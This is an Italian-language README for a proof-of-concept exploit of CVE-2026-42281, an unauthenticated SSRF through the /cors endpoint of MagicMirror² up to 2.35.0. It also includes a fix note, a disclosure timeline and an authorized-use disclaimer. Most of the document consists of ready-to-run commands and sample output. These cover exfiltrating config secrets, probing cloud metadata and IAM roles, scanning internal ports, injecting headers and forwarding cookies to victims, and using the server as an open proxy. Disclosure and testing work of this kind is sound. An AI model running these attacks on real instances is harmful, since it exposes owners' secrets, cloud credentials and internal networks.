
Proof-of-concept exploit per CVE-2026-42281, una SSRF non autenticata in MagicMirror² ≤ 2.35.0, che consente l'esfiltrazione della configurazione, il probing dei metadati cloud e la scansione della rete interna.
/cors
Scoperto e segnalato da: Astaruf
Analisi completa: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
Advisory upstream: Advisory di sicurezza MagicMirrorOrg/MagicMirror
Voce NVD:
Questo repository ospita l'exploit proof-of-concept per CVE-2026-42281, un SSRF non autenticato in MagicMirror² ≤ 2.35.0 che trasforma l'endpoint /cors in un proxy SSRF completamente funzionante in grado di raggiungere loopback, reti interne e servizi di metadata cloud. Con hideConfigSecrets: true, lo stesso endpoint esfiltra anche i valori di process.env.SECRET_* in una singola richiesta.
Per la revisione completa del codice, l'analisi della vulnerabilità, la suddivisione della correzione, la disputa sul CVSS e la timeline, consulta l'analisi completa su nstsec.com. Questo README si concentra su come utilizzare il PoC.
# 1. Verifica che il target sia vulnerabile
python3 poc.py -t http://target:8080 --check
# 2. Esfiltra la configurazione dell'applicazione (con scoperta automatica dei segreti)
python3 poc.py -t http://target:8080 --config
# 3. Sonda i servizi di metadata cloud su oltre 10 provider
python3 poc.py -t http://target:8080 --cloud
# 4. Scansione delle porte della rete interna tramite SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. Dimostra l'abuso degli header in entrata/uscita
python3 poc.py -t http://target:8080 --headers
# 6. Usa il server come proxy aperto generico
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| Flag | Descrizione |
|---|---|
--check | Verifica che l'SSRF sia sfruttabile tramite fetch in loopback di /version |
--config | SSRF di /config in loopback, analizza il JSON, cerca chiavi API / token / password nelle configurazioni dei moduli |
--cloud | Sonda i servizi di metadata su AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix; segue automaticamente l'enumerazione dei ruoli IAM AWS |
--port-scan HOSTS | Scansiona uno o più host (-p 22,80 / -p 0-1024 / -p - per tutte le 65535 porte), multithread |
--headers | Parte A: inietta header Authorization/X-* nella richiesta in uscita tramite sendheaders. Parte B: inoltra Set-Cookie controllato dall'attaccante da un'origine maliziosa al browser della vittima tramite expectedheaders |
--open-proxy URL | GET SSRF generico verso qualsiasi URL, stampa il corpo della risposta (utile per esplorare API HTTP interne) |
| Opzione | Default | Descrizione |
|---|---|---|
-t / --target | obbligatorio | URL del target, es. http://192.168.1.10:8080 |
--timeout | 2.0 | Timeout per richiesta in secondi |
--threads | 30 | Thread per --port-scan |
--verbose | disattivato | Stampa le risposte JSON complete (e i body dei metadata cloud non oscurati) |
1. Banner del PoC e modalità --check che conferma l'SSRF:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — SSRF non autenticato tramite endpoint /cors
Autore: Astaruf | https://nstsec.com
CHECK, Raggiungibilità del target e conferma SSRF
[*] Verifica della raggiungibilità del target ...
[+] Target raggiungibile, MagicMirror 2.35.0
[*] Conferma SSRF tramite loopback ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF CONFERMATO, il server ha recuperato la risorsa interna per nostro conto
<< 2.35.0
2. --config esfiltra la configurazione dell'applicazione e scopre automaticamente i segreti nelle configurazioni dei moduli:
ESFILTRAZIONE CONFIG, Config completa tramite SSRF in loopback
[+] Config recuperata, 1194 byte
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] aperto a tutti gli IP
SEGRETI TROVATI:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers conferma l'iniezione in uscita e l'inoltro in entrata:
INIEZIONE HEADER, Abuso degli header in entrata e in uscita
[*] Parte A: iniezione di header arbitrari nelle richieste in uscita tramite sendheaders
[+] Header X-Injected-By: SSRF-PoC confermato nella richiesta in uscita
[+] Header Authorization: Bearer DEMO_TOKEN confermato nella richiesta in uscita
[*] Parte B: inoltro degli header di risposta al browser tramite expectedheaders
[+] Header di risposta Set-Cookie inoltrato al browser: session=hijacked;HttpOnly
[+] Il browser riceve questo cookie come se provenisse dal dominio MagicMirror
4. --open-proxy conferma l'HTTP in uscita dal server:
PROXY APERTO, Recupero di https://httpbin.org/ip tramite il server vulnerabile
[+] HTTP 200, 32 byte ricevuti dal server
{
"origin": "<IP pubblico del server, non quello dell'attaccante>"
}
--check (e ogni altra modalità) invia un SSRF in loopback a http://127.0.0.1:<porta>/version. Quando si testa tramite Docker, assicurati che la porta dell'host corrisponda alla porta nel container (es. mappa 8080:8080, non 8081:8080), altrimenti il target in loopback non sarà risolvibile dall'interno del container anche se l'istanza è realmente vulnerabile.--cloud contro un'istanza non cloud (Raspberry Pi, bare metal) non produce risultati — questo è previsto e lo script lo segnala esplicitamente. Il vettore esiste; testarlo richiede una vera distribuzione cloud.Distribuita in MagicMirror² v2.36.0 (rilasciata il 30 aprile 2026). La correzione è stratificata su sei PR (#4084, #4087, #4090, #4091, #4102, #4104). Consulta l'analisi completa per la suddivisione per PR, gli snippet di codice e la matrice di verifica dei tentativi di bypass ritestati contro la versione corretta.
| Data | Evento |
|---|---|
| 2026-03-30 | Vulnerabilità scoperta, issue pubblica aperta, email inviata al maintainer |
| 2026-03-31 | Il maintainer ha riconosciuto la segnalazione |
| 2026-04-01 | I maintainer hanno aggiunto SECURITY.md e abilitato GitHub Security Advisories sul repository |
| 2026-04-09 | Advisory GHSA formale aperta |
| 2026-04-26 | Correzione confermata per la prossima release. CVE-2026-42281 assegnata da GitHub |
| 2026-04-26 | Disputa sul CVSS — vettore alzato da Moderate a 9.2 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | MagicMirror² v2.36.0 rilasciata, correzione distribuita pubblicamente |
| 2026-05-04 | Divulgazione pubblica (analisi + repository PoC) |
Questo materiale è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Usalo solo contro istanze MagicMirror² di tua proprietà o per le quali hai esplicita autorizzazione scritta a testare. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.